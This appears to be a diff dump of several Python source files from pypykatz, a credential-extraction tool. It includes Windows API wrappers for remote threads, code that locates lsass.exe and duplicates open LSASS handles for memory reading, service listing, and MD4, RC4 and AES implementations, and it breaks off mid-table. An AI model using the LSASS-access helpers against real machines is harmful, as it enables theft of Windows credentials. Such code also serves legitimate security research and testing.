691 | hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId)) | |
692 | if not hThread: | |
693 | raise ctypes.WinError() | |
694 | return hThread, dwThreadId.value | |
695 | ||
696 | def GetProcAddressW(hModule, lpProcName): | |
697 | _GetProcAddress = windll.kernel32.GetProcAddress | |
698 | _GetProcAddress.argtypes = [HMODULE, LPVOID] | |
699 | _GetProcAddress.restype = LPVOID | |
700 | ||
701 | if type(lpProcName) in (type(0), type(0)): | |
702 | lpProcName = LPVOID(lpProcName) | |
703 | if lpProcName.value & (~0xFFFF): | |
704 | raise ValueError('Ordinal number too large: %d' % lpProcName.value) | |
705 | elif type(lpProcName) == type(""): | |
706 | lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii')) | |
707 | elif type(lpProcName) == type(b""): | |
708 | lpProcName = ctypes.c_char_p(lpProcName) | |
709 | else: | |
710 | raise TypeError(str(type(lpProcName))) | |
711 | return _GetProcAddress(hModule, lpProcName) | |
712 | ||
713 | ||
714 | def LoadLibraryW(pszLibrary): | |
715 | _LoadLibraryW = windll.kernel32.LoadLibraryW | |
716 | _LoadLibraryW.argtypes = [LPWSTR] | |
717 | _LoadLibraryW.restype = HMODULE | |
718 | hModule = _LoadLibraryW(pszLibrary) | |
719 | if hModule == NULL: | |
720 | raise ctypes.WinError() | |
721 | return hModule⏎ |
0 | import os | |
1 | import sys | |
2 | 0 | import ctypes |
3 | 1 | import enum |
4 | import logging | |
5 | 2 | |
6 | 3 | from pypykatz import logger |
7 | 4 | from .ntdll import * |
17 | 14 | WIN_BLUE = 9400 |
18 | 15 | WIN_10 = 9800 |
19 | 16 | |
20 | ||
17 | ||
21 | 18 | #utter microsoft bullshit commencing.. |
22 | def getWindowsBuild(): | |
19 | def getWindowsBuild(): | |
23 | 20 | class OSVersionInfo(ctypes.Structure): |
24 | 21 | _fields_ = [ |
25 | 22 | ("dwOSVersionInfoSize" , ctypes.c_int), |
31 | 28 | GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") |
32 | 29 | version = OSVersionInfo() |
33 | 30 | version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) |
34 | GetVersionEx( ctypes.byref(version) ) | |
31 | GetVersionEx( ctypes.byref(version) ) | |
35 | 32 | return version.dwBuildNumber |
36 | ||
33 | ||
37 | 34 | DELETE = 0x00010000 |
38 | 35 | READ_CONTROL = 0x00020000 |
39 | 36 | WRITE_DAC = 0x00040000 |
48 | 45 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF |
49 | 46 | else: |
50 | 47 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF |
51 | ||
48 | ||
52 | 49 | PROCESS_QUERY_INFORMATION = 0x0400 |
53 | 50 | PROCESS_VM_READ = 0x0010 |
54 | 51 | |
55 | ||
52 | ||
56 | 53 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
57 | 54 | def enum_process_names(): |
58 | 55 | pid_to_name = {} |
59 | ||
56 | ||
60 | 57 | for pid in EnumProcesses(): |
61 | 58 | if pid == 0: |
62 | 59 | continue |
63 | 60 | pid_to_name[pid] = 'Not found' |
64 | 61 | try: |
65 | 62 | process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) |
63 | pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) | |
66 | 64 | except Exception as e: |
67 | 65 | continue |
68 | ||
69 | pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) | |
66 | ||
70 | 67 | return pid_to_name |
71 | ||
72 | ||
68 | ||
69 | ||
73 | 70 | def get_lsass_pid(): |
74 | 71 | pid_to_name = enum_process_names() |
75 | 72 | for pid in pid_to_name: |
76 | 73 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
77 | 74 | return pid |
78 | ||
75 | ||
79 | 76 | raise Exception('Failed to find lsass.exe') |
80 | ||
77 | ||
81 | 78 | def enum_lsass_handles(): |
82 | 79 | #searches for open LSASS process handles in all processes |
83 | 80 | # you should be having SE_DEBUG enabled at this point |
84 | 81 | RtlAdjustPrivilege(20) |
85 | ||
82 | ||
86 | 83 | lsass_handles = [] |
87 | 84 | sysinfohandles = NtQuerySystemInformation(16) |
88 | 85 | for pid in sysinfohandles: |
97 | 94 | except Exception as e: |
98 | 95 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) |
99 | 96 | continue |
100 | ||
97 | ||
101 | 98 | try: |
102 | 99 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) |
103 | 100 | #print(dupHandle) |
104 | 101 | except Exception as e: |
105 | 102 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) |
106 | 103 | continue |
107 | ||
104 | ||
108 | 105 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) |
109 | 106 | if oinfo.Name.getString() == 'Process': |
110 | 107 | try: |
114 | 111 | #print('%s : %s' % (pid, pname)) |
115 | 112 | lsass_handles.append((pid, dupHandle)) |
116 | 113 | except Exception as e: |
117 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
114 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
118 | 115 | continue |
119 | ||
116 | ||
120 | 117 | return lsass_handles |
121 | ⏎ |
9 | 9 | from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI |
10 | 10 | from pypykatz.commons.winapi.constants import * |
11 | 11 | from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive |
12 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE | |
12 | 13 | |
13 | 14 | class User: |
14 | 15 | def __init__(self, name, domain, sid): |
60 | 61 | name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) |
61 | 62 | users[sid_str] = User(name, domain, sid_str) |
62 | 63 | return users |
64 | ||
65 | #def list_services(self): | |
66 | # logger.debug('Listing services...') | |
67 | # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
68 | # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr): | |
69 | # print(serviceattr.lpServiceName) | |
70 | # print(serviceattr.lpDisplayName) | |
71 | # print(serviceattr.ServiceStatus.dwServiceType) | |
72 | # | |
73 | # | |
74 | # status = '' | |
75 | # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING: | |
76 | # status = 'PENDING' | |
77 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING: | |
78 | # status = 'PENDINGPAUSE' | |
79 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED: | |
80 | # status = 'PAUSED' | |
81 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING: | |
82 | # status = 'RUNNING' | |
83 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING: | |
84 | # status = 'PENDINGSTART' | |
85 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING: | |
86 | # status = 'PENDINGSTOP' | |
87 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED: | |
88 | # status = 'STOPPED' | |
89 | # | |
90 | # print(status) | |
91 | ||
92 | def list_services_pid(self): | |
93 | logger.debug('Listing services with pid...') | |
94 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
95 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): | |
96 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: | |
97 | continue | |
98 | yield serviceattr.ServiceStatusProcess.dwProcessId | |
99 | ||
100 | def list_services(self): | |
101 | logger.debug('Listing services with pid...') | |
102 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
103 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): | |
104 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: | |
105 | continue | |
106 | yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId | |
107 | ||
108 | def list_all_pids(self): | |
109 | for pid in self.api.psapi.EnumProcesses(): | |
110 | if pid == 0: | |
111 | continue | |
112 | yield pid | |
63 | 113 | |
64 | 114 | if __name__ == '__main__': |
65 | 115 | u = LiveMachine() |
66 | t = u.list_users() | |
67 | for sid in t: | |
68 | print(str(t[sid])) | |
69 | t = u.get_current_user() | |
70 | print(str(t))⏎ | |
116 | t = u.list_services() | |
117 | ||
118 | #for srv in t: | |
119 | # print(str(t[sid])) | |
120 | #t = u.get_current_user() | |
121 | #print(str(t))⏎ |
0 | #!/usr/bin/env python3 | |
1 | # -*- coding: utf-8 -*- | |
2 | # | |
3 | # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic). | |
4 | # | |
5 | # This file is released under the WTFPL, version 2 (wtfpl.net). | |
6 | # | |
7 | # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. | |
8 | # | |
9 | # Description: Zounds! Yet another rendition of pseudocode from RFC1320! | |
10 | # Bonus points for the algorithm literally being from 1992. | |
11 | # | |
12 | # Usage: Why would anybody use this? This is self-rolled crypto, and | |
13 | # self-rolled *obsolete* crypto at that. DO NOT USE if you need | |
14 | # something "performant" or "secure". :P | |
15 | # | |
16 | # Anyway, from the command line: | |
17 | # | |
18 | # $ ./md4.py [messages] | |
19 | # | |
20 | # where [messages] are some strings to be hashed. | |
21 | # | |
22 | # In Python, use similarly to hashlib (not that it even has MD4): | |
23 | # | |
24 | # from .md4 import MD4 | |
25 | # | |
26 | # digest = MD4("BEES").hexdigest() | |
27 | # | |
28 | # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68" | |
29 | # | |
30 | # | |
31 | # Sample console output: | |
32 | # | |
33 | # Testing the MD4 class. | |
34 | # | |
35 | # Message: b'' | |
36 | # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
37 | # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
38 | # | |
39 | # Message: b'The quick brown fox jumps over the lazy dog' | |
40 | # Expected: 1bee69a46ba811185c194762abaeae90 | |
41 | # Actual: 1bee69a46ba811185c194762abaeae90 | |
42 | # | |
43 | # Message: b'BEES' | |
44 | # Expected: 501af1ef4b68495b5b7e37b15b4cda68 | |
45 | # Actual: 501af1ef4b68495b5b7e37b15b4cda68 | |
46 | # | |
47 | import struct | |
48 | ||
49 | ||
50 | class MD4: | |
51 | """An implementation of the MD4 hash algorithm.""" | |
52 | ||
53 | width = 32 | |
54 | mask = 0xFFFFFFFF | |
55 | ||
56 | # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! | |
57 | h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] | |
58 | ||
59 | def __init__(self, msg=None): | |
60 | """:param ByteString msg: The message to be hashed.""" | |
61 | if msg is None: | |
62 | msg = b"" | |
63 | ||
64 | self.msg = msg | |
65 | ||
66 | # Pre-processing: Total length is a multiple of 512 bits. | |
67 | ml = len(msg) * 8 | |
68 | msg += b"\x80" | |
69 | msg += b"\x00" * (-(len(msg) + 8) % 64) | |
70 | msg += struct.pack("<Q", ml) | |
71 | ||
72 | # Process the message in successive 512-bit chunks. | |
73 | self._process([msg[i : i + 64] for i in range(0, len(msg), 64)]) | |
74 | ||
75 | def __repr__(self): | |
76 | if self.msg: | |
77 | return f"{self.__class__.__name__}({self.msg:s})" | |
78 | return f"{self.__class__.__name__}()" | |
79 | ||
80 | def __str__(self): | |
81 | return self.hexdigest() | |
82 | ||
83 | def __eq__(self, other): | |
84 | return self.h == other.h | |
85 | ||
86 | def bytes(self): | |
87 | """:return: The final hash value as a `bytes` object.""" | |
88 | return struct.pack("<4L", *self.h) | |
89 | ||
90 | def hexbytes(self): | |
91 | """:return: The final hash value as hexbytes.""" | |
92 | return self.hexdigest().encode | |
93 | ||
94 | def hexdigest(self): | |
95 | """:return: The final hash value as a hexstring.""" | |
96 | return "".join(f"{value:02x}" for value in self.bytes()) | |
97 | ||
98 | def digest(self): | |
99 | return self.bytes() | |
100 | ||
101 | def _process(self, chunks): | |
102 | for chunk in chunks: | |
103 | X, h = list(struct.unpack("<16I", chunk)), self.h.copy() | |
104 | ||
105 | # Round 1. | |
106 | Xi = [3, 7, 11, 19] | |
107 | for n in range(16): | |
108 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
109 | K, S = n, Xi[n % 4] | |
110 | hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K] | |
111 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
112 | ||
113 | # Round 2. | |
114 | Xi = [3, 5, 9, 13] | |
115 | for n in range(16): | |
116 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
117 | K, S = n % 4 * 4 + n // 4, Xi[n % 4] | |
118 | hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999 | |
119 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
120 | ||
121 | # Round 3. | |
122 | Xi = [3, 9, 11, 15] | |
123 | Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15] | |
124 | for n in range(16): | |
125 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
126 | K, S = Ki[n], Xi[n % 4] | |
127 | hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1 | |
128 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
129 | ||
130 | self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)] | |
131 | ||
132 | @staticmethod | |
133 | def F(x, y, z): | |
134 | return (x & y) | (~x & z) | |
135 | ||
136 | @staticmethod | |
137 | def G(x, y, z): | |
138 | return (x & y) | (x & z) | (y & z) | |
139 | ||
140 | @staticmethod | |
141 | def H(x, y, z): | |
142 | return x ^ y ^ z | |
143 | ||
144 | @staticmethod | |
145 | def lrot(value, n): | |
146 | lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n) | |
147 | return lbits | rbits | |
148 | ||
149 | ||
150 | def main(): | |
151 | # Import is intentionally delayed. | |
152 | import sys | |
153 | ||
154 | if len(sys.argv) > 1: | |
155 | messages = [msg.encode() for msg in sys.argv[1:]] | |
156 | for message in messages: | |
157 | print(MD4(message).hexdigest()) | |
158 | else: | |
159 | messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"] | |
160 | known_hashes = [ | |
161 | "31d6cfe0d16ae931b73c59d7e0c089c0", | |
162 | "1bee69a46ba811185c194762abaeae90", | |
163 | "501af1ef4b68495b5b7e37b15b4cda68", | |
164 | ] | |
165 | ||
166 | print("Testing the MD4 class.") | |
167 | print() | |
168 | ||
169 | for message, expected in zip(messages, known_hashes): | |
170 | print("Message: ", message) | |
171 | print("Expected:", expected) | |
172 | print("Actual: ", MD4(message).hexdigest()) | |
173 | print() | |
174 | ||
175 | ||
176 | if __name__ == "__main__": | |
177 | try: | |
178 | main() | |
179 | except KeyboardInterrupt: | |
180 | pass |
0 | #!/usr/bin/env python | |
1 | ||
2 | ||
3 | """ | |
4 | https://raw.githubusercontent.com/bozhu/RC4-Python/master/rc4.py | |
5 | ||
6 | Copyright (C) 2012 Bo Zhu http://about.bozhu.me | |
7 | ||
8 | Permission is hereby granted, free of charge, to any person obtaining a | |
9 | copy of this software and associated documentation files (the "Software"), | |
10 | to deal in the Software without restriction, including without limitation | |
11 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
12 | and/or sell copies of the Software, and to permit persons to whom the | |
13 | Software is furnished to do so, subject to the following conditions: | |
14 | ||
15 | The above copyright notice and this permission notice shall be included in | |
16 | all copies or substantial portions of the Software. | |
17 | ||
18 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
19 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
21 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
22 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
23 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
24 | DEALINGS IN THE SOFTWARE. | |
25 | """ | |
26 | class RC4: | |
27 | def __init__(self, key): | |
28 | self.key = key | |
29 | self.S = self.KSA() | |
30 | self.keystream = self.PRGA() | |
31 | ||
32 | def KSA(self): | |
33 | keylength = len(self.key) | |
34 | ||
35 | S = list(range(256)) | |
36 | ||
37 | j = 0 | |
38 | for i in range(256): | |
39 | j = (j + S[i] + self.key[i % keylength]) % 256 | |
40 | S[i], S[j] = S[j], S[i] # swap | |
41 | ||
42 | return S | |
43 | ||
44 | def PRGA(self): | |
45 | i = 0 | |
46 | j = 0 | |
47 | while True: | |
48 | i = (i + 1) % 256 | |
49 | j = (j + self.S[i]) % 256 | |
50 | self.S[i], self.S[j] = self.S[j], self.S[i] # swap | |
51 | ||
52 | K = self.S[(self.S[i] + self.S[j]) % 256] | |
53 | yield K | |
54 | ||
55 | ||
56 | def encrypt(self, data): | |
57 | res = b'' | |
58 | for b in data: | |
59 | res += (b ^ next(self.keystream)).to_bytes(1, byteorder = 'big', signed = False) | |
60 | return res | |
61 | ||
62 | def decrypt(self, data): | |
63 | return self.encrypt(data)⏎ |
0 | ||
1 | #https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py | |
2 | # The MIT License (MIT) | |
3 | # | |
4 | # Copyright (c) 2014 Richard Moore | |
5 | # | |
6 | # Permission is hereby granted, free of charge, to any person obtaining a copy | |
7 | # of this software and associated documentation files (the "Software"), to deal | |
8 | # in the Software without restriction, including without limitation the rights | |
9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
10 | # copies of the Software, and to permit persons to whom the Software is | |
11 | # furnished to do so, subject to the following conditions: | |
12 | # | |
13 | # The above copyright notice and this permission notice shall be included in | |
14 | # all copies or substantial portions of the Software. | |
15 | # | |
16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
22 | # THE SOFTWARE. | |
23 | ||
24 | # This is a pure-Python implementation of the AES algorithm and AES common | |
25 | # modes of operation. | |
26 | ||
27 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard | |
28 | ||
29 | # Honestly, the best description of the modes of operations are the wonderful | |
30 | # diagrams on Wikipedia. They explain in moments what my words could never | |
31 | # achieve. Hence the inline documentation here is sparer than I'd prefer. | |
32 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation | |
33 | ||
34 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: | |
35 | # https://www.dlitz.net/software/pycrypto/ | |
36 | ||
37 | ||
38 | # Supported key sizes: | |
39 | # 128-bit | |
40 | # 192-bit | |
41 | # 256-bit | |
42 | ||
43 | ||
44 | # Supported modes of operation: | |
45 | # ECB - Electronic Codebook | |
46 | # CBC - Cipher-Block Chaining | |
47 | # CFB - Cipher Feedback | |
48 | # OFB - Output Feedback | |
49 | # CTR - Counter | |
50 | ||
51 | ||
52 | # See the README.md for API details and general information. | |
53 | ||
54 | ||
55 | import copy | |
56 | import struct | |
57 | ||
58 | __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", | |
59 | "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] | |
60 | ||
61 | ||
62 | def _compact_word(word): | |
63 | return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] | |
64 | ||
65 | def _string_to_bytes(text): | |
66 | return list(ord(c) for c in text) | |
67 | ||
68 | def _bytes_to_string(binary): | |
69 | return "".join(chr(b) for b in binary) | |
70 | ||
71 | def _concat_list(a, b): | |
72 | return a + b | |
73 | ||
74 | ||
75 | # Python 3 compatibility | |
76 | try: | |
77 | xrange | |
78 | except Exception: | |
79 | xrange = range | |
80 | ||
81 | # Python 3 supports bytes, which is already an array of integers | |
82 | def _string_to_bytes(text): | |
83 | if isinstance(text, bytes): | |
84 | return text | |
85 | return [ord(c) for c in text] | |
86 | ||
87 | # In Python 3, we return bytes | |
88 | def _bytes_to_string(binary): | |
89 | return bytes(binary) | |
90 | ||
91 | # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first | |
92 | def _concat_list(a, b): | |
93 | return a + bytes(b) | |
94 | ||
95 | ||
96 | # Based *largely* on the Rijndael implementation | |
97 | # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf | |
98 | class AES(object): | |
99 | '''Encapsulates the AES block cipher. | |
100 | ||
101 | You generally should not need this. Use the AESModeOfOperation classes | |
102 | below instead.''' | |
103 | ||
104 | # Number of rounds by keysize | |
105 | number_of_rounds = {16: 10, 24: 12, 32: 14} | |
106 | ||
107 | # Round constant words | |
108 | rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] | |
109 | ||
110 | # S-box and Inverse S-box (S is for Substitution) | |
111 | S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] | |
112 | Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] | |
113 | ||
114 | # Transformations for encryption | |
115 | T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 